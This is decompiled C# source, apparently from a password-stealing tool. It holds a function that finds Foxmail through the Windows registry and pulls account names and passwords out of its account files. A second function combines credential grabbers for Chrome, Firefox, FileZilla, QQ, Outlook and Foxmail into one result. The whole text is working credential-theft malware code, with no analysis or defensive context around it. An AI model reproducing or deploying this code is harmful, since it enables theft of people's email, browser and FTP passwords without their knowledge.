// Token: 0x060000B1 RID: 177 RVA: 0x0000C48C File Offset: 0x0000A68C public static object GetFoxmail() { string text = string.Empty; object result; try { object obj = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Classes\\Foxmail.url.mailto\\Shell\\open\\command").GetValue("").ToString(); object instance = obj; Type type = null; string memberName = "Remove"; object[] array = new object[1]; object[] array2 = array; int num = 0; object obj2 = obj; object instance2 = obj2; Type type2 = null; string memberName2 = "LastIndexOf"; object[] array3 = new object[1]; object[] array4 = array3; int num2 = 0; string text2 = "Foxmail.exe"; array4[num2] = text2; array2[num] = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(instance2, type2, memberName2, array3, null, null, null)); object[] array5 = array; object[] arguments = array5; string[] argumentNames = null; Type[] typeArguments = null; bool[] array6 = new bool[] { true }; object instance3 = NewLateBinding.LateGet(instance, type, memberName, arguments, argumentNames, typeArguments, array6); if (array6[0]) { NewLateBinding.LateSetComplex(obj2, null, "LastIndexOf", new object[] { text2, RuntimeHelpers.GetObjectValue(array5[0]) }, null, null, true, false); } obj = Operators.ConcatenateObject(NewLateBinding.LateGet(instance3, null, "Replace", new object[] { "\"", "" }, null, null, null), "Storage\\"); foreach (string text3 in Directory.GetDirectories(Conversions.ToString(obj), "*@*", SearchOption.TopDirectoryOnly)) { try { string str = text3.Substring(text3.LastIndexOf("\\") + 1); string path = text3 + "\\Accounts\\Account.rec0"; object obj3 = new FileStream(path, FileMode.Open); object obj4 = Conversions.ToInteger(NewLateBinding.LateGet(obj3, null, "Length", new object[0], null, null, null)); object obj5 = new byte[Conversions.ToInteger(Operators.SubtractObject(obj4, 1)) + 1]; bool flag = false; string text4 = ""; object instance4 = obj3; Type type3 = null; string memberName3 = "Read"; object[] array7 = new object[] { RuntimeHelpers.GetObjectValue(obj5), 0, RuntimeHelpers.GetObjectValue(obj4) }; object[] arguments2 = array7; string[] argumentNames2 = null; Type[] typeArguments2 = null; array6 = new bool[] { true, false, true }; NewLateBinding.LateCall(instance4, type3, memberName3, arguments2, argumentNames2, typeArguments2, array6, true); if (array6[0]) { obj5 = RuntimeHelpers.GetObjectValue(array7[0]); } if (array6[2]) { obj4 = RuntimeHelpers.GetObjectValue(array7[2]); } int num3; if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet(obj5, new object[] { 0 }, null), 208, false)) { num3 = 0; } else { num3 = 1; } int num4 = 0; int num5 = Conversions.ToInteger(Operators.SubtractObject(obj4, 1)); for (int j = num4; j <= num5; j++) { if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(obj5, new object[] { j }, null), 32, false) && Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(obj5, new object[] { j }, null), 127, false) && Operators.ConditionalCompareObjectNotEqual(NewLateBinding.LateIndexGet(obj5, new object[] { j }, null), 61, false)) { text4 += Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet(obj5, new object[] { j }, null)))); string str2 = ""; if (text4.Equals("Account") || text4.Equals("POP3Account")) { int num6 = j + 9; if (num3 == 0) { num6 = j + 2; } while (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(obj5, new object[] { num6 }, null), 32, false) && Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(obj5, new object[] { num6 }, null), 127, false)) { str2 += Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet(obj5, new object[] { num6 }, null)))); num6++; } flag = true; j = num6; } else if (flag && (text4.Equals("Password") || text4.Equals("POP3Password"))) { int num7 = j + 9; if (num3 == 0) { num7 = j + 2; } string text5 = ""; while (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(obj5, new object[] { num7 }, null), 32, false) && Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(obj5, new object[] { num7 }, null), 127, false)) { text5 += Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet(obj5, new object[] { num7 }, null)))); num7++; } if (Operators.CompareString(text, string.Empty, false) == 0) { text += "Foxmail:\r\n"; } text = text + "User:"******"\r\n"; text = text + "Pass:"******"\r\n\r\n"; break; } } else { text4 = ""; } } NewLateBinding.LateCall(obj3, null, "Close", new object[0], null, null, null, true); } catch (Exception ex) { } } if (Operators.CompareString(text, string.Empty, false) != 0) { text += "\r\n"; } result = text; } catch (Exception ex2) { } return(result); }
// Token: 0x060000B0 RID: 176 RVA: 0x0000C440 File Offset: 0x0000A640 public static string GrabAllPasswords() { return(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(ChromeRecover.ChromePass(), FFRecover.GetFFTBPass()), FileZillaRecover.Grab()), QQRecover.RecoverQQ()), OutlookRecover.GetOutlookPasswords()), FoxRecover.GetFoxmail()))); }